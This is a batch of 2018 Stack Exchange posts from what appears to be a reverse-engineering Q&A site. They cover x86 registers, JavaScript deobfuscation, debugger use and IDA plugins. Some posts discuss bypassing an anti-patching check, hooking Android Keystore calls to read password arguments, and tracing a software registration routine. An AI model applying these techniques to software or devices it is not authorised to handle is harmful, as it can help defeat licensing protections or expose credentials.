  <row Id="18734" PostTypeId="1" CreationDate="2018-07-09T08:51:03.940" Score="1" ViewCount="119" Body="&lt;p&gt;I upload an hexdump of 8086 COM file and want to compile it into a COM executable that is running. (I don't upload it, because it is a riddle)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since it is a COM file it should start at 100h. But ODA recognizes the code at the Data segment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any reasonable reason for that?&lt;/p&gt;&#xA;" OwnerUserId="24854" LastEditorUserId="245" LastEditDate="2018-07-10T08:40:14.890" LastActivityDate="2019-05-07T01:01:45.307" Title="ODA generates data segment instead of code (8086 COM hexdump)" Tags="|com|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="18735" PostTypeId="1" AcceptedAnswerId="18736" CreationDate="2018-07-09T10:00:32.637" Score="19" ViewCount="15415" Body="&lt;p&gt;&lt;em&gt;I don't know whether this is a silly question, but I couldn't find any answer.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the evolution of CPU architecture, register size was extended, from 8, to 16, 32, and eventually 64-bit. I was wondering whether there was any way to access the higher part of the registers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example regarding the &lt;code&gt;rax&lt;/code&gt; 64-bit register and its subsequent divisions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;6                              3               1 &#xA;4                              2               6       8       1&#xA;+------------------------------+---------------+-------+-------+&#xA;|                             rax                              |&#xA;+------------------------------+---------------+-------+-------+&#xA;            (???)              |              eax              |&#xA;                               +---------------+-------+-------+&#xA;                                     (???)     |       ax      |&#xA;                                               +-------+-------+&#xA;                                               |  ah   |   al  |&#xA;                                               +-------+-------+&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;One can easily access the higher and lower part of &lt;code&gt;ax&lt;/code&gt; by referencing to &lt;code&gt;ah&lt;/code&gt; and &lt;code&gt;al&lt;/code&gt; respectively. But I couldn't find any reference for the &lt;code&gt;rax&lt;/code&gt; and &lt;code&gt;eax&lt;/code&gt; higher parts. (Denoted with &lt;code&gt;(???)&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is it possible to access the higher part of the 32-bit and 64-bit registers? If so, which ones?&lt;/li&gt;&#xA;&lt;li&gt;Assuming it is not possible, what are the reasons behind this?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note: I am talking about direct access to these bytes, I am not asking for a sequence of instructions that could retrieve them.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="15291" LastEditorUserId="2147" LastEditDate="2018-09-28T19:42:28.793" LastActivityDate="2018-09-28T19:42:28.793" Title="Is it possible to access the higher part of the 32-bit and 64-bit registers? If so, which ones?" Tags="|assembly|x86|register|x86-64|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="18736" PostTypeId="2" ParentId="18735" CreationDate="2018-07-09T10:32:04.530" Score="19" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Is it possible to access the higher part of the 32-bit and 64-bit registers? If so, which ones?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It is impossible to access the higher parts of the &lt;code&gt;EAX&lt;/code&gt; and &lt;code&gt;RAX&lt;/code&gt; registers, or of any other 32 and 64-bit registers, directly. You'll have to use indirect instruction sequences if you're interested in doing that. This is because there are no encodings to access those parts in any instruction.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Assuming it is not possible, what are the reasons behind this?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As noted by @nordwald in the comments below, it is simply defined so in the manuals. To get a more detailed official answer, we would need to ask members of the specification definition. We can safely assume the core reason is that the &lt;em&gt;cost&lt;/em&gt; of providing access to all available register fractions exceeds the &lt;em&gt;benefit&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will try listing a few possible reasons for &lt;em&gt;why the cost exceeds the benefit&lt;/em&gt; now but didn't in the past:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Benefit of more available register space&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;During the time of 16 bit registers registers were scarce (due to chip manufacturing costs) and chips were boasting the number of registers made available to the user. There was a demand for more registers. Exposing half-registers allowed better utilization of the available (precious and expensive) register real-estate. As time passed more registers were made available, the need of better usage of the exact register size decreased. Nowadays, you can use 64 bit registers for only their lower byte or word without &quot;worrying&quot; about not having enough registers.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Cost of increasing instruction set&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the available instruction set was relatively small and there were only a few registers, enough of bits were available to encode the different half of registers without increasing the size of the instruction set. In the original 16-bit register days most of the available instruction set space was used. Moving to 32 (and then again to 64-bit), instead of re-implementing the same instructions with different register sizes prefixes were introduced (&lt;code&gt;0x66&lt;/code&gt; for 32 bit registers, for example), keeping the rest of the instruction in tact. This made it trivial to support 32-bit registers on top of the 16-bit original instruction set, but accessing the higher parts of those registers required a more complex design. You can notice there were only 8 fully sized registers (&lt;code&gt;AX&lt;/code&gt;, &lt;code&gt;CX&lt;/code&gt;, &lt;code&gt;DX&lt;/code&gt;, &lt;code&gt;BX&lt;/code&gt;, &lt;code&gt;SP&lt;/code&gt;, &lt;code&gt;BP&lt;/code&gt;, &lt;code&gt;SI&lt;/code&gt; and &lt;code&gt;DI&lt;/code&gt;) as well as only 8 half sized registers (&lt;code&gt;AL&lt;/code&gt;, &lt;code&gt;CL&lt;/code&gt;, &lt;code&gt;DL&lt;/code&gt;, &lt;code&gt;BL&lt;/code&gt;, &lt;code&gt;AH&lt;/code&gt;, &lt;code&gt;CH&lt;/code&gt; and &lt;code&gt;DH&lt;/code&gt;), so that only 3 bits were required to specify the required register.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nowadays, encoding all portions of the registers would increase the instruction set and overall CPU complexity.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Supporting legacy code&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When Intel made the first 16-bit processors (the 8086 processor family) they wanted to keep what they called &lt;em&gt;source compatibility&lt;/em&gt;. This meant 8-bit processor (Z80/8080) code could be assembled to a 16-bit processor with no code/source changes, although the underlying binary representation of instructions was allowed to change. Thus, the 8-bit registers were bound to stay from the early 8-bit processors even though the instruction binary representation was completely redesigned and 8-bit mode was not supported by the new CPUs (unlike 32 and 64-bit modes which are binary backwards compatible). The Z80 processor family had six 8-bit registers that could have been accessed together to form a 16-bit word. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, in transition from 16 to 32-bit processors and then from 32 to 64, maintaining backward compatibility and supporting legacy execution modes was desired. For that reason, maintaining the same binary encoding was achieved by keeping the same instruction set as well as the same binary encoding for multiple instructions, &quot;forcing&quot; the inclusion of half-registers as part of the available instruction set.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Cost of register access synchronization&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As pipelining optimizations became more and more popular the burden of synchronization register access (among other things) increased, making it harder for the CPU to keep track of register access.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In modern CPUs the half-registers are not &lt;em&gt;actually&lt;/em&gt; overlapping with the full registers and instead, the CPU sets a special invalidation flag on all others when one is changed, so it'll know to read the updated register when if others are accessed. This allows advanced CPU level optimizaions (such as &lt;a href=&quot;https://en.wikipedia.org/wiki/Register_renaming&quot; rel=&quot;noreferrer&quot;&gt;register renaming&lt;/a&gt;, for example) but makes execution actually &lt;em&gt;slower&lt;/em&gt; when half-sized registers are used interchangeably (which is no longer that frequent).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Accessing half-sized register is only partially available to begin with&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although you might assume otherwise, accessing or using half-sized registers is not always possible. For example, you cannot push half a register (there's no &quot;Push AL&quot;). This was done to only support the minimum needed to make the half-registers useful, but they are not treated as full-blow registers.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Obviously, some reasons can carry more weight than others, some may be unrelated to the original decision, some original reasons may be missing here, etc. Those are merely educated guesses and YMMV&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2018-07-10T06:34:36.433" LastActivityDate="2018-07-10T06:34:36.433" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="18737" PostTypeId="2" ParentId="18735" CreationDate="2018-07-09T13:06:47.267" Score="20" Body="&lt;p&gt;It's the wrong question, really. &lt;code&gt;AH&lt;/code&gt; is the exception. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the real question is, why is &lt;code&gt;AH&lt;/code&gt; such an exception? It's an old register, from the 8086 era. It exists to facilitate moving over code from the 8080. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 8080 has different registers from the 8086, so you can't move over code directly. In particular, it didn't have an AL,AH or AX register. It did have an 8 bits A accumulator and an 8 bits F flag register, which combined to form a 16 bits AF register. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 8086 kept a 16 bits accumulator, but moved the flags to its own register. However, there is still a vestigial remnant. &lt;code&gt;LAHF&lt;/code&gt; loads &lt;code&gt;AH&lt;/code&gt; from the lower 8 bits of &lt;code&gt;F&lt;/code&gt;, leaving the lower 8 bits in AL untouched. This instruction simplifies the porting of 8080 code to the 8086. And yes, that support for the 8080 is still present in a Core i9 in 2018.&lt;/p&gt;&#xA;" OwnerUserId="24953" LastActivityDate="2018-07-09T13:06:47.267" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18738" PostTypeId="1" CreationDate="2018-07-09T13:29:15.373" Score="2" ViewCount="612" Body="&lt;p&gt;I'm having an issue when trying to patch an application. If I open the .exe application with x64dbg, it first goes through ntdll.dll and then runs the application module. It works fine as long as I don't &quot;touch&quot; the application module code. As soon as I apply any kind of patch, even something as simple as adding a &quot;nop&quot; instruction, I can no longer run the application (it terminates immediately).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try to debug, I notice that the execution doesn't even reach the application and stays within the ntdll.dll module. It loops 14 times between these 3 lines and the program terminates on the call to &lt;code&gt;NtContinue&lt;/code&gt; (aka &lt;code&gt;ZwContinue&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00007FFA616C2FCE | B2 01       | mov dl,1&#xA;00007FFA616C2FD0 | 48:8BCB     | mov rcx,rbx&#xA;00007FFA616C2FD3 | E8 28770200 | call &amp;lt;ntdll.NtContinue&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've read that some anti-attach methods leverage the &lt;code&gt;NtContinue&lt;/code&gt; function but in my case it's not really an attachment problem since I can debug without any issue until I patch the application. If anything it is rather an anti-patching trick...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering if this was something known already, or if you had any leads that I could try to solve this issue. I have already tried installing the &quot;ScyllaHide&quot; plugin and ticked the option &quot;NtContinue&quot; but it doesn't change the behavior. Maybe there is another anti-anti-debug plugin I could use?&lt;/p&gt;&#xA;" OwnerUserId="24954" LastEditorUserId="245" LastEditDate="2018-07-10T08:13:34.950" LastActivityDate="2018-07-10T08:13:34.950" Title="How to solve anti-patch protection involving NtContinue?" Tags="|patching|x64dbg|" AnswerCount="0" CommentCount="5" ClosedDate="2018-07-10T08:19:12.473" ContentLicense="CC BY-SA 4.0" />
  <row Id="18739" PostTypeId="2" ParentId="18735" CreationDate="2018-07-09T13:32:47.583" Score="6" Body="&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; &lt;em&gt;Thanks to Nirlzr, I see I missed the emphasized point at the bottom of the post. This answer, though not what OP is looking for, may serve useful for anyone down the road who is looking for a way to access those bits. Apologies for missing OPs full intention!&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I actually wrote an in-depth article on this topic a couple of years ago: &lt;strong&gt;&lt;a href=&quot;http://dsasmblr.com/accessing-and-modifying-upper-half-of-registers/&quot; rel=&quot;noreferrer&quot;&gt;Accessing and Modifying Upper Bits in x86 and x64 Registers&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So while there aren't any direct instructions to specifically access the upper half of a 32- or 64-bit register, you can get to that data by using &lt;strong&gt;shift&lt;/strong&gt; and &lt;strong&gt;rotate&lt;/strong&gt; instructions (of which your choice of use mostly depends on if you care about maintaining the integrity of the bits in the lower-half of the registers).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would piecemeal the post here for a more fleshed-out-looking answer, but it's best to just read the post as is, which has a very intentional flow that includes copious examples.&lt;/p&gt;&#xA;" OwnerUserId="20928" LastEditorUserId="20928" LastEditDate="2018-07-09T14:18:10.917" LastActivityDate="2018-07-09T14:18:10.917" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="18740" PostTypeId="1" AcceptedAnswerId="18741" CreationDate="2018-07-09T15:53:37.957" Score="5" ViewCount="9577" Body="&lt;p&gt;I was looking at a game code, and I saw the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x171    mov [rbp-30],r12w&#xA;....&#xA;0x210     movups xmm0,[rbp-30]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am pretty sure that &lt;code&gt;r12&lt;/code&gt; is an integer here (equals 5). So, is it moving an integer to a float register at &lt;code&gt;0x171&lt;/code&gt; using &lt;code&gt;movups&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I searched on Internet, but &lt;code&gt;movups&lt;/code&gt; usually moves float to float, not integer to float...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could someone tell me how we usually moves integer to &lt;code&gt;xmm&lt;/code&gt; registers ?&lt;/p&gt;&#xA;" OwnerUserId="23595" LastEditorUserId="53" LastEditDate="2018-07-09T17:33:47.040" LastActivityDate="2018-07-09T17:33:47.040" Title="Moving integer to xmm register" Tags="|assembly|register|amd64|float|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18741" PostTypeId="2" ParentId="18740" CreationDate="2018-07-09T16:14:26.697" Score="4" Body="&lt;p&gt;To move a number into an XMM register, you'll first need to move that number into a memory address since you can't move an immediate into an XMM register (meaning, you can't do something like &lt;code&gt;mov XMM1,9&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If need be, you can allocate your own memory to store a number in, or in your scenario, if it's feasible, you could inject code to put your own value into r12w prior to that write, or your own value into [rbp-30] after that write.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instructions of interest for you will be &lt;code&gt;MOVSS&lt;/code&gt;, &lt;code&gt;MOVSD&lt;/code&gt;, &lt;code&gt;MOVD&lt;/code&gt;, &lt;code&gt;MOVQ&lt;/code&gt;, and so on. Assuming you opt to put your own value into [rbp-30] first:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example&lt;/strong&gt;: &lt;code&gt;movss xmm1,[rbp-30]&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Insofar as your value being an integer, you'll probably see an instruction like CVTSS2SI (Convert Scalar Single-Precision Floating-Point Value to Doubleword Integer) somewhere within the sub-routine you're in.&lt;/p&gt;&#xA;" OwnerUserId="20928" LastEditorUserId="20928" LastEditDate="2018-07-09T17:16:15.043" LastActivityDate="2018-07-09T17:16:15.043" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="18742" PostTypeId="2" ParentId="10793" CreationDate="2018-07-09T19:53:01.717" Score="-1" Body="&lt;p&gt;I realize this is very old, but in most cases this is solved easily - check if you are under a procedure context, for example if you searched for a string value then go to the place the label is used (pressing x) and then it will show the graphical view&lt;/p&gt;&#xA;" OwnerUserId="24961" LastActivityDate="2018-07-09T19:53:01.717" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18743" PostTypeId="2" ParentId="15308" CreationDate="2018-07-10T07:37:09.813" Score="2" Body="&lt;p&gt;Digital Keychain Photo viewer thingies are sensitive. For DPFMate:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You need to use the cable that came with the thingy.&lt;/li&gt;&#xA;&lt;li&gt;The thingy has to be in &quot;UPDATE&quot; mode.&lt;/li&gt;&#xA;&lt;li&gt;It needs to be fully charged before use (about two hours from memory)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I have used Kaiser Baas and one other (no name). They both came with built in software; they both work with Windows 10. Interchanging Cables is a problem; particularly with Kaiser Baas which seems only to work with the cable that it came with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The software allows you to add, sync and delete images (JPG and BMP).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can send you the DPFMate software via email attachment.&lt;/p&gt;&#xA;" OwnerUserId="24970" LastEditorUserId="245" LastEditDate="2018-07-10T08:11:47.953" LastActivityDate="2018-07-10T08:11:47.953" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18744" PostTypeId="1" CreationDate="2018-07-10T11:33:25.670" Score="-2" ViewCount="18823" Body="&lt;p&gt;Each file starts with the same function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(function(_0x128f83, _0x1ae5b9) {&#xA;    var _0x1b5471 = function(_0x339be5) {&#xA;        while (--_0x339be5) {&#xA;            _0x128f83['push'](_0x128f83['shift']());&#xA;        }&#xA;    };&#xA;    _0x1b5471(++_0x1ae5b9);&#xA;}(_0xf75e, 0xc2));&#xA;var _0x4e13 = function(_0x24c6e1, _0x3b52a9) {&#xA;    _0x24c6e1 = _0x24c6e1 - 0x0;&#xA;    var _0xc16529 = _0xf75e[_0x24c6e1];&#xA;    return _0xc16529;&#xA;};&#xA;'use strict';&#xA;Object[_0x4e13('0x0')](exports, '__esModule', {&#xA;    'value': !![]&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I did some research and have come to the conclusion that the code was obfuscated with a library similar to &lt;a href=&quot;https://obfuscator.io/&quot; rel=&quot;nofollow noreferrer&quot;&gt;obfuscator.io&lt;/a&gt;. My question is how do i decode the hexadecimal values, as many of the variables in the file are reliant on them (e.g. &lt;code&gt;const electron_1 = require(_0x4e13('0x1'));&lt;/code&gt;). Any feedback would be much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="24971" LastActivityDate="2018-07-10T11:39:55.157" Title="How do I decode this JavaScript code?" Tags="|decryption|obfuscation|deobfuscation|javascript|hexadecimal|" AnswerCount="1" CommentCount="1" ClosedDate="2018-07-10T15:04:50.980" ContentLicense="CC BY-SA 4.0" />
  <row Id="18745" PostTypeId="2" ParentId="18744" CreationDate="2018-07-10T11:39:55.157" Score="2" Body="&lt;p&gt;You can use this tool to partial deobfuscate that code: &lt;a href=&quot;http://jsnice.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://jsnice.org/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In that case I get this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'use strict';&#xA;(function(data, i) {&#xA;  /**&#xA;   * @param {number} isLE&#xA;   * @return {undefined}&#xA;   */&#xA;  var write = function(isLE) {&#xA;    for (; --isLE;) {&#xA;      data[&quot;push&quot;](data[&quot;shift&quot;]());&#xA;    }&#xA;  };&#xA;  write(++i);&#xA;})(_0xf75e, 194);&#xA;/**&#xA; * @param {string} level&#xA; * @param {?} ai_test&#xA; * @return {?}&#xA; */&#xA;var _0x4e13 = function(level, ai_test) {&#xA;  /** @type {number} */&#xA;  level = level - 0;&#xA;  var rowsOfColumns = _0xf75e[level];&#xA;  return rowsOfColumns;&#xA;};&#xA;&quot;use strict&quot;;&#xA;Object[_0x4e13(&quot;0x0&quot;)](exports, &quot;__esModule&quot;, {&#xA;  &quot;value&quot; : !![]&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="24972" LastActivityDate="2018-07-10T11:39:55.157" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="18746" PostTypeId="1" AcceptedAnswerId="18763" CreationDate="2018-07-10T18:12:11.790" Score="1" ViewCount="1659" Body="&lt;p&gt;During the debugging process, I can use binary edit in order to add commands where I want, etc. However, I can't find any way to add an ASCII string at an address in which I can reference later. If I try to add something like: &quot;hello&quot;, OllyDBG will just translate the bytes into commands and edit the assembly commands into the program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to just add the ASCII string into the program?&lt;/p&gt;&#xA;" OwnerUserId="24980" LastActivityDate="2018-07-11T18:03:28.227" Title="How do I create an ASCII string in OllyDBG?" Tags="|ollydbg|debugging|debuggers|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18747" PostTypeId="1" CreationDate="2018-07-10T18:31:44.107" Score="-2" ViewCount="2700" Body="&lt;p&gt;I saw here &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/18673/how-to-identify-known-encryption-algorithm&quot;&gt;How to identify known encryption algorithm?&lt;/a&gt; the IDA  plugin  &lt;a href=&quot;https://github.com/nihilus/IDA_Signsrch&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/nihilus/IDA_Signsrch&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't understand how to install it .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the INSTALL I saw &lt;code&gt;coppy the plug-in and signsrch.xml file to your IDA Pro &quot;plugins&quot; directory&lt;/code&gt;   .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I saw &lt;code&gt;signsrch.xml&lt;/code&gt; file but I not found what is the &lt;code&gt;plug-in&lt;/code&gt; that I neet to copy too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;that source file ,.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;please help me to install this plugin&lt;/p&gt;&#xA;" OwnerUserId="24879" LastEditorUserId="60" LastEditDate="2018-07-10T21:11:04.320" LastActivityDate="2018-07-10T21:11:04.320" Title="How to install ida plugin to identify encryption function" Tags="|ida|encryption|ida-plugin|plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18748" PostTypeId="2" ParentId="14701" CreationDate="2018-07-10T18:54:12.433" Score="2" Body="&lt;p&gt;With Jeb or another tool for static analysis of source code, seek out calls to the &lt;a href=&quot;https://developer.android.com/reference/java/security/KeyStore&quot; rel=&quot;nofollow noreferrer&quot;&gt;Keystore API&lt;/a&gt; classes and member functions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have identified a function of interest, especially if it has arguments that include the password or a hash of it, you can then move onto dynamic analysis of the code by using a hooking framework to hook the function of interest to inspect its arguments and return values. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are several hooking frameworks available for Android, including &lt;a href=&quot;http://frida.re&quot; rel=&quot;nofollow noreferrer&quot;&gt;frida&lt;/a&gt; and &lt;a href=&quot;http://repo.xposed.info/module/de.robv.android.xposed.installer&quot; rel=&quot;nofollow noreferrer&quot;&gt;Xposed&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="24981" LastActivityDate="2018-07-10T18:54:12.433" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18749" PostTypeId="2" ParentId="14815" CreationDate="2018-07-10T19:38:09.413" Score="3" Body="&lt;p&gt;NirIzr's answer has a major drawback: All those locations following the decoded instructions are still added to the analyzer queue, they're just not being processed. That means if you ever enable analysis again, IDA will go back and process them all, completely obliterating whatever your script did. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A better solution is to go into &quot;Kernel options 1&quot; and uncheck &quot;Trace execution flow&quot; before running your script. That's the one responsible for adding an address immediately following a decoded instruction into the analysis queue, so this way those addresses won't be added to the queue in the first place. When your script is done, you can go back and check it again and continue using IDA with analysis enabled. &lt;/p&gt;&#xA;" OwnerUserId="24983" LastActivityDate="2018-07-10T19:38:09.413" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18750" PostTypeId="1" AcceptedAnswerId="18753" CreationDate="2018-07-10T20:16:38.027" Score="3" ViewCount="526" Body="&lt;p&gt;I try to reverse engineering an application and I came to the point that I don't understand. I have the following disassembled code with &lt;code&gt;gdb&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   │0x7ffff76f7e4b &amp;lt;_ZN16CRRegistratorImp8RegisterEbPv+587&amp;gt; je     0x7ffff76f7ce6 &amp;lt;_ZN16CRRegistratorImp8RegisterEbPv+230&amp;gt;                                                              │&#xA;   │0x7ffff76f7e51 &amp;lt;_ZN16CRRegistratorImp8RegisterEbPv+593&amp;gt; mov    rdi,QWORD PTR [rbp+0x10]                                                                                             │&#xA;   │0x7ffff76f7e55 &amp;lt;_ZN16CRRegistratorImp8RegisterEbPv+597&amp;gt; mov    rax,QWORD PTR [rdi]                                                                                                  │&#xA;   │0x7ffff76f7e58 &amp;lt;_ZN16CRRegistratorImp8RegisterEbPv+600&amp;gt; call   QWORD PTR [rax+0x30]                                                                                                 │&#xA;   │0x7ffff76f7e5b &amp;lt;_ZN16CRRegistratorImp8RegisterEbPv+603&amp;gt; test   al,al                                                                                                                │&#xA;   │0x7ffff76f7e5d &amp;lt;_ZN16CRRegistratorImp8RegisterEbPv+605&amp;gt; je     0x7ffff76f7ce6 &amp;lt;_ZN16CRRegistratorImp8RegisterEbPv+230&amp;gt;                                                              │&#xA;   │0x7ffff76f7e63 &amp;lt;_ZN16CRRegistratorImp8RegisterEbPv+611&amp;gt; jmp    0x7ffff76f7d29 &amp;lt;_ZN16CRRegistratorImp8RegisterEbPv+297&amp;gt;      &#xA;   │0x7ffff76f7e68 &amp;lt;_ZN16CRRegistratorImp8RegisterEbPv+616&amp;gt; xor    edx,edx                                                                                                              │&#xA;   │0x7ffff76f7e6a &amp;lt;_ZN16CRRegistratorImp8RegisterEbPv+618&amp;gt; mov    rsi,r12                                                                                                              │&#xA;   │0x7ffff76f7e6d &amp;lt;_ZN16CRRegistratorImp8RegisterEbPv+621&amp;gt; mov    rdi,rbp                                                                                                              │&#xA;   │0x7ffff76f7e70 &amp;lt;_ZN16CRRegistratorImp8RegisterEbPv+624&amp;gt; call   0x7ffff7596518 &amp;lt;_Z18CallRegGuiCallbackP13CRRegistratorPv13ERegGUIAction@plt&amp;gt;                                         │&#xA;   │0x7ffff76f7e75 &amp;lt;_ZN16CRRegistratorImp8RegisterEbPv+629&amp;gt; jmp    0x7ffff76f7e41 &amp;lt;_ZN16CRRegistratorImp8RegisterEbPv+577&amp;gt;                                                              │&#xA;   │0x7ffff76f7e77 &amp;lt;_ZN16CRRegistratorImp8RegisterEbPv+631&amp;gt; mov    edx,0x4                                                                                                              │&#xA;   │0x7ffff76f7e7c &amp;lt;_ZN16CRRegistratorImp8RegisterEbPv+636&amp;gt; mov    rsi,r12                                                                                                              │&#xA;   │0x7ffff76f7e7f &amp;lt;_ZN16CRRegistratorImp8RegisterEbPv+639&amp;gt; mov    rdi,rbp                                                                                                              │&#xA;   │0x7ffff76f7e82 &amp;lt;_ZN16CRRegistratorImp8RegisterEbPv+642&amp;gt; call   0x7ffff7596518 &amp;lt;_Z18CallRegGuiCallbackP13CRRegistratorPv13ERegGUIAction@plt&amp;gt;    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is not the whole procedure, but I think it is not needed. What I want to know is, how to get to to the address &lt;code&gt;0x7ffff76f7e68&lt;/code&gt; (&lt;code&gt;+616&lt;/code&gt;). &#xA;I was thinking that somewhere in this procedure I will find something like this instruction:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;jmp    0x7ffff76f7e68 &amp;lt;_ZN16CRRegistratorImp8RegisterEbPv+616&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but there is no such instruction in this procedure and it is not possible to get it there because on address &lt;code&gt;+611&lt;/code&gt; there is the the &lt;code&gt;jmp&lt;/code&gt; instruction. So I have the following questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is it dead code?&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Is it possible to jump directly to this specific address (&lt;code&gt;+616&lt;/code&gt;) from other procedure?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Is there another way to get to this address?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="24985" LastEditorUserId="24985" LastEditDate="2018-07-10T20:22:22.107" LastActivityDate="2018-07-10T21:02:57.063" Title="Getting to the specific offset in assembly code" Tags="|disassembly|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 4.0" />
